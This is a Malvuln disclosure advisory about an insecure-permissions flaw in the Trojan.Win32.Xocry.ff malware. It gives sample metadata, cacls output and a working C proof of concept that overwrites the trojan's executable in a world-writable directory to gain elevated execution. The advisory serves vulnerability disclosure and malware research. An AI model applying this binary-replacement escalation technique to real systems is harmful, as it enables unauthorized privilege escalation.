Discovery / credits: Malvuln - malvuln.com (c) 2021
Original source: https://malvuln.com/advisory/8f13116d46a7097e14ef971d48d6a203.txt
Contact: malvuln13@gmail.com
Media: twitter.com/malvuln

Threat: Trojan.Win32.Xocry.ff
Vulnerability: Insecure Permissions 
Description: Trojan Xocry.ff creates its c:\ProgData directory with an insecure ACL, handing over change permissions to any authenticated user allowing EoP.
Type: PE32
MD5: 8f13116d46a7097e14ef971d48d6a203
Vuln ID: MVID-2021-0050
Dropped files:  C:\Users\[VICTIM]\AppData\Local\Temp\[RANDOM-NAME].exe 
Disclosure: 01/23/2021


Exploit/PoC:
C:\>cacls C:\ProgData\ProgData.exe
C:\ProgData\ProgData.exe BUILTIN\Administrators:(ID)F
                         NT AUTHORITY\SYSTEM:(ID)F
                         BUILTIN\Users:(ID)R
                         NT AUTHORITY\Authenticated Users:(ID)C

#include "stdio.h"
#include "windows.h"
#define TARGET "C:\\ProgData\\ProgData.exe"
#define TMP "C:\\ProgData\\2.exe"
#define DISABLED_TARGET "C:\\ProgData\\666.tmp"

/* Trojan.Win32.Xocry.ff.8f13116d46a7097e14ef971d48d6a203 */
/* Insecure Permissions EoP */
/*  By Malvuln */

BOOL PWNED=FALSE;

BOOL FileExists(LPCTSTR szPath){
  DWORD dwAttrib = GetFileAttributes(szPath);
  return (dwAttrib != INVALID_FILE_ATTRIBUTES && !(dwAttrib & FILE_ATTRIBUTE_DIRECTORY));
}

void main(void){
  if(!FileExists(DISABLED_TARGET)){
    CopyFile(TARGET, TMP, FALSE);
    Sleep(1000);
    CopyFile(TMP, DISABLED_TARGET, FALSE);
    printf("[+] Trojan.Win32.Xocry.ff EoP PoC\n");
    Sleep(1000);
    printf("[+] Disabled Dropped ProgData.exe ...\n");
    Sleep(300);
   }else{
     PWNED=TRUE;
   }
    if(!PWNED){
       char fname[MAX_PATH];
        char newLoc[]=TARGET;
        DWORD size = GetModuleFileNameA(NULL, fname, MAX_PATH);
       if (size){
         printf("[+] Copying exploit to vuln ProgData dir...\n");
         Sleep(1000);
         CopyFile(fname, TARGET, FALSE);
         printf("[+] Replaced ProgData EXE...\n");
         printf("[+] Done!\n");
         exit(0);
        }
    }else{
      if(FileExists(TMP)){
         remove(TMP);
      }
       printf("[+] Trojan.Win32.Xocry.ff PWNED!\n");
       printf("[+] MD5: 8f13116d46a7097e14ef971d48d6a203\n");
       printf("[+] By Malvuln\n");
       system("pause");
     }
}



Disclaimer: The information contained within this advisory is supplied "as-is" with no warranties or guarantees of fitness of use or otherwise. Permission is hereby granted for the redistribution of this advisory, provided that it is not altered except by reformatting it, and that due credit is given. Permission is explicitly given for insertion in vulnerability databases and similar, provided that due credit is given to the author. The author is not responsible for any misuse of the information contained herein and accepts no responsibility for any damage caused by the use or misuse of this information. The author prohibits any malicious use of security related information or exploits by the author or elsewhere. Do not attempt to download Malware samples. The author of this website takes no responsibility for any kind of damages occurring from improper Malware handling or the downloading of ANY Malware mentioned on this website or elsewhere. All content Copyright (c) Malvuln.com (TM).